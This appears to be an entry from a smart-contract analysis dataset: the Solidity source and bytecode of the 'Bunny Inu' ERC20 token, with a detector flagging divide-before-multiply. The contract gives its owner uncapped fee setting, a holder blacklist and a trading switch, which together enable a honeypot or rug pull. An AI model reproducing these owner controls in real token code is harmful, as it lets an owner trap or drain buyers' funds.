303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158207c1f8a9d7dd665b260c0db4f318946386009a2ad0253318eed1b4e15f501ffaa64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,632
0xc028e217ffea96e6306d3ce515593720ac202e92
/** * https://t.me/BunnyInuEth */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BunnyInu is Context, IERC20, Ownable{ using SafeMath for uint256; string private constant _name = "Bunny Inu";////////////////////////// string private constant _symbol = "Binu";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 12;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 6;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 12;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xbb78B53818Ee3699603E3B06989A9F4c6E99232E);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0xbb78B53818Ee3699603E3B06989A9F4c6E99232E);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000000000 * 10**9; //2% uint256 public _maxWalletSize = 4000000000* 10**9; //4% uint256 public _swapTokensAtAmount = 100000000 * 10**9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f37565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613380565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612ea3565b610859565b604051610259919061334a565b60405180910390f35b34801561026e57600080fd5b50610277610877565b6040516102849190613365565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af9190613562565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e54565b6108ae565b6040516102ec919061334a565b60405180910390f35b34801561030157600080fd5b5061030a610987565b6040516103179190613562565b60405180910390f35b34801561032c57600080fd5b5061033561098d565b60405161034291906135d7565b60405180910390f35b34801561035757600080fd5b50610360610996565b60405161036d919061332f565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dc6565b6109bc565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f78565b610aac565b005b3480156103d457600080fd5b506103dd610b5e565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dc6565b610c2f565b6040516104139190613562565b60405180910390f35b34801561042857600080fd5b50610431610c80565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612fa1565b610dd3565b005b34801561046857600080fd5b50610471610e72565b60405161047e9190613562565b60405180910390f35b34801561049357600080fd5b5061049c610e78565b6040516104a9919061332f565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f78565b610ea1565b005b3480156104e757600080fd5b506104f0610f53565b6040516104fd9190613562565b60405180910390f35b34801561051257600080fd5b5061051b610f59565b6040516105289190613380565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612fa1565b610f96565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fca565b611035565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612ea3565b6110ec565b6040516105b7919061334a565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dc6565b61110a565b6040516105f4919061334a565b60405180910390f35b34801561060957600080fd5b5061061261112a565b005b34801561062057600080fd5b5061063b60048036038101906106369190612edf565b611203565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e18565b611363565b6040516106719190613562565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612fa1565b6113ea565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dc6565b611489565b005b6106d461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134c2565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108109061389c565b915050610764565b5050565b60606040518060400160405280600981526020017f42756e6e7920496e750000000000000000000000000000000000000000000000815250905090565b600061086d61086661164b565b8484611653565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108bb84848461181e565b61097c846108c761164b565b61097785604051806060016040528060288152602001613da960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092d61164b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a39092919063ffffffff16565b611653565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a48906134c2565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b38906134c2565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9f61164b565b73ffffffffffffffffffffffffffffffffffffffff161480610c155750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfd61164b565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1e57600080fd5b6000479050610c2c81612107565b50565b6000610c79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612202565b9050919050565b610c8861164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c906134c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ddb61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f906134c2565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea961164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d906134c2565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f42696e7500000000000000000000000000000000000000000000000000000000815250905090565b610f9e61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611022906134c2565b60405180910390fd5b8060188190555050565b61103d61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c1906134c2565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006111006110f961164b565b848461181e565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661116b61164b565b73ffffffffffffffffffffffffffffffffffffffff1614806111e15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c961164b565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ea57600080fd5b60006111f530610c2f565b905061120081612270565b50565b61120b61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128f906134c2565b60405180910390fd5b60005b8383905081101561135d5781600560008686858181106112e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f99190612dc6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806113559061389c565b91505061129b565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f261164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611476906134c2565b60405180910390fd5b8060178190555050565b61149161164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611515906134c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158590613422565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613542565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172a90613442565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118119190613562565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188590613502565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f5906133a2565b60405180910390fd5b60008111611941576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611938906134e2565b60405180910390fd5b611949610e78565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b75750611987610e78565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da257601560149054906101000a900460ff16611a46576119d8610e78565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3c906133c2565b60405180910390fd5b5b601654811115611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8290613402565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2f5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6590613462565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c1b5760175481611bd084610c2f565b611bda9190613698565b10611c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1190613522565b60405180910390fd5b5b6000611c2630610c2f565b9050600060185482101590506016548210611c415760165491505b808015611c59575060158054906101000a900460ff16155b8015611cb35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ccb5750601560169054906101000a900460ff165b8015611d215750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d775750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9f57611d8582612270565b60004790506000811115611d9d57611d9c47612107565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e495750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efc5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611efb5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f0a5760009050612091565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb55750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcd57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120785750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209057600a54600c81905550600b54600d819055505b5b61209d84848484612568565b50505050565b60008383111582906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e29190613380565b60405180910390fd5b50600083856120fa9190613779565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215760028461259590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d360028461259590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fe573d6000803e3d6000fd5b5050565b6000600654821115612249576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612240906133e2565b60405180910390fd5b60006122536125df565b9050612268818461259590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122fb5781602001602082028036833780820191505090505b5090503081600081518110612339577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123db57600080fd5b505afa1580156123ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124139190612def565b8160018151811061244d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611653565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161251895949392919061357d565b600060405180830381600087803b15801561253257600080fd5b505af1158015612546573d6000803e3d6000fd5b5050505050600060158061